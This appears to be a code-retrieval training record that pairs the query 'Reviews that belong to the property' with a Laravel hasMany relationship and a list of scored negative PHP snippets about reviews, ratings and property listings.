[ "0.73492706", "0.73168147", "0.728196", "0.72410446", "0.72238994", "0.72182703", "0.72066057", "0.72043824", "0.7183119", "0.7171709", "0.7146717", "0.71391946", "0.7121071", "0.71195304", "0.71195304", "0.71195304", "0.71165806", "0.71165806", "0.7114979", "0.71141523", "0.71059", "0.71059", "0.71037287", "0.71037287", "0.71024895", "0.71022916", "0.7102109", "0.7102109", "0.7102055", "0.7100321", "0.7098856", "0.7095288", "0.7071902", "0.706784", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.7056416", "0.70381653", "0.7031996", "0.7031996", "0.7031996", "0.7031996", "0.7019386", "0.70070535", "0.69963545", "0.6966685", "0.69247097", "0.6911884", "0.6911075", "0.6908879", "0.69077754", "0.68813825", "0.6865435", "0.6865435", "0.6865435", "0.6865435", "0.6865435", "0.6833095", "0.68126667", "0.68110454", "0.6801496", "0.6776407", "0.67703414", "0.67663664", "0.6759397", "0.672949", "0.6729034", "0.67282", "0.67115355", "0.6711012", "0.6709519", "0.6703654", "0.6691278", "0.6683407", "0.66747844", "0.6666204", "0.6662737", "0.6646202", "0.6641067", "0.6636649", "0.6627923", "0.6623326", "0.66199714", "0.661841", "0.6617973", "0.6607226", "0.6595587", "0.656216", "0.6556704", "0.6554618", "0.65534776", "0.65419054", "0.6535344", "0.6528678", "0.6527789" ]
0.0
-1
Reviews that belong to the property.
public function reviews() { return $this->HasMany('App\Models\Review'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getReviews()\n {\n return $this->hasMany(Review::className(), ['CommissionID' => 'CommissionID']);\n }", "public function getReviews()\n {\n return $this->hasMany(Review::className(), ['callId' => 'callId']);\n }", "public function getReviews()\n {\n return $this->hasMany(Review::className(), ['author_id' => 'id']);\n }", "public function reviews()\n\t{\n\t\treturn $this->hasMany(Review::class); \n\t}", "public function reviews()\n {\n return $this->morphedByMany('App\\Review', 'likeable');\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany('App\\Review');\n }", "public function reviews()\n {\n return $this->hasMany('App\\Review');\n }", "public function reviews() {\n return $this->hasMany('App\\Models\\ProductReview');\n }", "public function reviews() \n {\n return $this->hasMany('App\\Review');\n }", "public function getReviews()\n {\n return $this->hasMany(Review::className(), ['task_id' => 'id']);\n }", "public function reviews() {\n return $this->hasMany('App\\Models\\Review');\n }", "public function reviews()\n {\n return $this->hasMany('App\\Models\\Review');\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function getProductReviews()\n {\n return $this->hasMany(ProductReview::className(), ['review_uuid' => 'uuid']);\n }", "public function reviewed() {\n return $this->morphMany(Review::class, 'reviewer');\n }", "public function reviews()\n {\n return $this->hasMany(Review::class, 'user_id');\n }", "function getReviews(){\n $reviews = $this->all('schema:reviews');\n if ($reviews){\n \tEasyRdf_TypeMapper::set('schema:Review', 'WorldCat\\Discovery\\Review');\n \t$reviews = static::reloadGraph($this->graph)->resource($this->getUri())->all('schema:reviews');\n \tEasyRdf_TypeMapper::delete('schema:Review');\n }\n return $reviews;\n }", "public function getAllReviews()\n {\n /* code goes here */\n }", "public function getReviews()\n {\n if ($this->_aReviews === null) {\n $this->_aReviews = false;\n if ($this->getConfig()->getConfigParam('bl_perfLoadReviews')) {\n $this->_aReviews = $this->getProduct()->getReviews();\n }\n }\n\n return $this->_aReviews;\n }", "public function reviews() {\n return $this->morphMany(Review::class, 'reviewee');\n }", "public function reviews(){\n return $this->hasMany('App\\Models\\Review');\n }", "public function reviews() {\n return $this->morphedByMany(Review::class, 'taggable');\n }", "public function reviews()\n {\n return $this->hasMany(Review::class)->select('id','user_id','course_id','rating', 'comment', 'created_at');\n }", "public function reviews()\n {\n return $this->hasMany('App\\Models\\Review', 'movies_id');\n }", "public function getReviews()\n\t{\n\t\t$pages = new CPagination();\n\t\t$pages->pageSize = 10;\n\t\t\n\t\t$criteria = new CDbCriteria;\n\t\t$criteria->together = true;\n\t\t$criteria->limit = $pages->limit;\n\t\t$criteria->offset = $pages->offset;\n\t\t\n\t\treturn new CActiveDataProvider(__CLASS__, array(\n\t\t\t'criteria' => $criteria,\n\t\t\t'pagination' => $pages,\n\t\t));\n\t}", "public function review()\n\t{\n\t\treturn $this->hasOne('App\\Review');\n\t}", "public function getReview()\n {\n return $this->hasOne(Review::className(), ['Id' => 'Id_review']);\n }", "public function votes()\n {\n return $this->hasMany(PropertyVote::class,'property_id', 'id');\n }", "public function reviews()\n {\n return $this->hasMany(Review::class)->latest();\n }", "public function getReview(){\r\n\t\treturn $this->SupportReviews();\r\n\t}", "public function rating()\n {\n return $this->hasOne('App\\Review')\n ->selectRaw('user_id, count(*) as count, avg(would_recommend) as avg, avg(communication) as communication, avg(as_described) as as_described')\n ->groupBy('user_id');\n }", "public function review()\n {\n return $this->belongsToMany(\n 'PMW\\Models\\Proposal',\n 'review',\n 'id_pengguna',\n 'id_proposal')\n ->withPivot('tahap', 'komentar', 'id');\n }", "public function getReview()\n {\n return $this->review;\n }", "public function setReviews($reviews) {\n $this->properties['reviews'] = $reviews;\n\n return $this;\n }", "public function getReview()\n\t{\n\t\tif (!is_null($this->review)) {\n\t\t\treturn $this;\n\t\t}\n\n\t\t$expression = new Expression;\n\t\t$expression->setBase('//*')->hasClass('hreview-aggregate');\n\n\t\t$this->review = $this->findOne($expression);\n\n\t\tif ($this->review->length === 0) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$votes = $this->review->selectOne('.count');\n\t\t$votes = $this->getValue($votes);\n\n\t\t$average = $this->review->selectOne('.rating');\n\t\t$averageTry = $average->selectOne('.average');\n\n\t\tif ($averageTry->length === 1) {\n\t\t\t$average = $averageTry;\n\t\t}\n\t\t$average = preg_match('/([0-5](?:\\.[0-9])?)/', $this->getValue($average), $matches);\n\t\t$average = $matches[0];\n\n\t\t$best = $this->review->selectOne('.rating .best');\n\n\t\tif ($best->length === 0) {\n\t\t\t$best = 5;\n\t\t} else {\n\t\t\t$best = $this->getValue($best);\n\t\t}\n\n\t\t$this->ratings = array(\n\t\t\t'rating' => $average,\n\t\t\t'best.rating' => $best,\n\t\t\t'total.votes' => preg_replace('/[^0-9]/', '', $votes)\n\t\t);\n\n\t\treturn $this;\n\t}", "public function reviewedBy()\n {\n return $this->belongsToMany('App\\User', 'stores_reviews')->withPivot('rating', 'review')->withTimestamps();\n }", "public function reviews()\n {\n return $this->hasMany(Review::class, 'package_id');\n }", "public function rebeccareviews()\n {\n return $this->hasMany(RebeccaReview::class);\n }", "public function getReviews0()\n {\n return $this->hasMany(Review::className(), ['executor_id' => 'id']);\n }", "function review_list($aprove){\n\t\t$query = $this->db->select(\"dbo.zItemInventoryDetailAll.ProductName,dbo.customer_rating.*,dbo.customer_user.FirstName,dbo.customer_user.MiddleName,dbo.customer_user.LastName,(SELECT COUNT(*) from [dbo].[review_help] where [dbo].[review_help].[review_id] = [dbo].[customer_rating].[ID]) as total, (SELECT COUNT(*) from [dbo].[review_help] where [dbo].[review_help].[review_id] = [dbo].[customer_rating].[ID] AND [dbo].[review_help].[action] = 'Yes') as totalhelp\")\n\t\t\t\t->from(\"dbo.customer_rating\")\n\t\t\t\t->join(\"dbo.customer_user\",\"dbo.customer_user.ID=dbo.customer_rating.customer_id\")\n\t\t\t\t->join(\"dbo.zItemInventoryDetailAll\",\"dbo.zItemInventoryDetailAll.ListID=dbo.customer_rating.product_id\")\n\t\t\t\t->where(\"dbo.customer_rating.admin_status\",$aprove)\n\t\t\t\t->order_by(\"dbo.customer_rating.created\",\"ASC\")\n\t\t\t\t->get()->result();\n\t\treturn $query;\n\t}", "public static function getAllReviews()\n\t{\n\t\t$reviews = Review::all();\n\t\treturn $reviews;\n\t}", "public function getPrinceAlbertSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 106\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\t\t\t}\n\t\t}", "public function show(Reviews $reviews)\n {\n //\n }", "public function getAllArticlesWithReviews()\n {\n return Db::queryAll('SELECT `article`.`id`, `article`.`title`, `user`.`username`, `review`.`id` AS `review`, `review`.`user_id`,\n `reviewer`.`username` AS `reviewer`, `review`.`article_id`, \n `review`.`rating_originality`, `review`.`rating_theme`, `review`.`rating_language`, \n `review`.`rating_awesomeness`, `review`.`rating_style`, `article`.`state`,\n FORMAT(`review`.`rating_originality` + `review`.`rating_theme` + `review`.`rating_language` + `review`.`rating_awesomeness` +`review`.`rating_style`, \"N2\") / 5 AS `rating`,\n (SELECT COUNT(*) FROM `review` WHERE `article`.`id` = `review`.`article_id`) AS `count`\n FROM `article` LEFT JOIN `review` ON `article`.`id` = `review`.`article_id` \n INNER JOIN `user` ON `user`.`id` = `article`.`author`\n LEFT JOIN `user` `reviewer` ON `reviewer`.`id` = `review`.`user_id`');\n }", "protected function set__reviews( $val )\n\t{\n\t\t\n\t}", "public function getAverageReviews()\n {\n /* code goes here */\n }", "public function reviewsCount()\n {\n return count($this->reviews);\n }", "public function reviewCount()\n {\n $this->attributes['review_count'] = $this->reviews()->selectRaw('count(*) as count')->pluck('count')[0];\n }", "public function proReviews(Request $request, User $pro)\n {\n $reviews = $pro->reviews();\n return view('reviews.index', ['reviews'=> $reviews]);\n }", "public function getPrinceAlbertSimilarPropertyForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_status, property_type, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 106\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getPrinceAlbertSimilarPropertyOnShow(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 106\n\t\t\t\t\t\t AND properties.property_status = 'On Show'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function show(reviews $reviews)\n {\n //\n }", "public function isReviewed() {\n\t\t$this->getReviewed();\n\t}", "public function getReviewerReviews($reviewer_id)\n {\n return $this->reviews()->where('reviewer_id', $reviewer_id)->get();\n }", "public function ratereviewpromotion() {\n\n $sessionstaff = $this->Session->read('staff');\n $options6['conditions'] = array('Promotion.clinic_id' => $sessionstaff['clinic_id'], 'Promotion.is_global' => 0,'Promotion.default'=>2,'Promotion.is_lite'=>0);\n $Promotionlist = $this->Promotion->find('all', $options6);\n $this->set('promotionlist', $Promotionlist);\n //function to check access control for practice staff\n if($sessionstaff['staff_role']=='Doctor' && $sessionstaff['staffaccess']['AccessStaff']['rate_review']==1){\n \n }else{\n $this->render('/Elements/access');\n }\n }", "protected function get__reviews()\n\t{\n\t\treturn NULL;\n\t}", "public function reviews($slug = null) {\n $this->viewBuilder()->layout('default');\n \n $this->loadModel('Reviews');\n $this->loadModel('Users');\n $this->set('review', $this->Paginator->paginate($this->Reviews, [ 'limit' => 15, 'contain' => ['Users'], 'order' => [ 'id' => 'DESC'], 'conditions' => [ 'Reviews.is_active' => 1]])); \n\n }", "public function inReview()\n {\n return $this->state(function (array $attributes) {\n return [\n 'status' => 'Review',\n ];\n });\n }", "public function reviews()\n {\n $data[\"reviews\"] = Review::latest()\n ->paginate(config(\"constant.smPagination\"));\n\n if (\\request()->ajax()) {\n $json['data'] = view('sm-admin/common/product/reviews', $data)->render();\n $json['smPagination'] = view('sm-admin/common/common/pagination_links', [\n 'smPagination' => $data['reviews']\n ])->render();\n\n return response()->json($json);\n }\n\n return view(\"nptl-admin/common/product/manage_reviews\", $data);\n }", "public function getPotherinreview()\n {\n return $this->potherinreview;\n }", "public function review()\n {\n return $this->morphTo();\n }", "public function getCapeAgulhasSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\n\t\t\t}\n\t\t}", "public function index()\n\t{\n\t\t$reviews = Review::all();\n\t\tforeach ($reviews as $key => $value) {\n\t\t\t$value->number = count($value->solutions);\n\t\t}\n\t\treturn $reviews;\n\t}", "public function getRatings(): Collection\n {\n\n return $this->ratings;\n\n }", "public function showReviews($id) {\n $movie = Movies::find($id);\n return response()->json($movie->reviews);\n }", "public function getReviewedBy()\n {\n return $this->reviewedBy;\n }", "public function getCustomRatingAttribute(){\n return $this->reviews->avg('rating');\n }", "public function reviews()\n {\n $this->authCheck();\n\n /*$messagesData = DB::table('web_messages')\n ->get();*/\n\n $reviewsData = DB::table('reviews')->where('is_deleted', '=', 'No')->get();\n /*whereNull('is_deleted')->get();*/\n \n $reviews=view('admin.reviews')\n ->with('reviewsData',$reviewsData);\n\n return view('admin.master')\n ->with('main_content',$reviews);\n }", "private function setEnableReviews() {\n $this->product->set_reviews_allowed($this->wcData->isEnableReviews());\n }", "public function index()\n {\n $reviews=Reviews::all();\n \n foreach ($reviews as $item) {\n $item->patient= Patient::where('id',$item->patientId)->first();\n $item->doctor= Doctor::where('id',$item->doctorId)->first(); \n }\n // dd($reviews);\n return view('admin.reviews.all',compact('reviews'));\n }", "public function showings()\n\t{\n\t\treturn $this->hasMany('App\\PropertyShowing');\n\t}", "public function is_onreview() {\n $order = SalesOrder::load($this->orderno);\n\t\t\treturn $order->is_onreview();\n }", "public function skiApprovals()\n {\n return $this->hasMany('App\\Models\\SkiApproval', 'regno', 'personnel_no');\n }", "public function review(): HasMany\n {\n return $this->hasMany(Review_fasilitas::class, 'id_penginapan', 'id_penginapan');\n }", "public function getReviews(Request $request)\n {\n\t\t$user = null;\n\t\t$nope = false;\n\t\t$v = \"\";\n\t\t\n\t\t$signals = 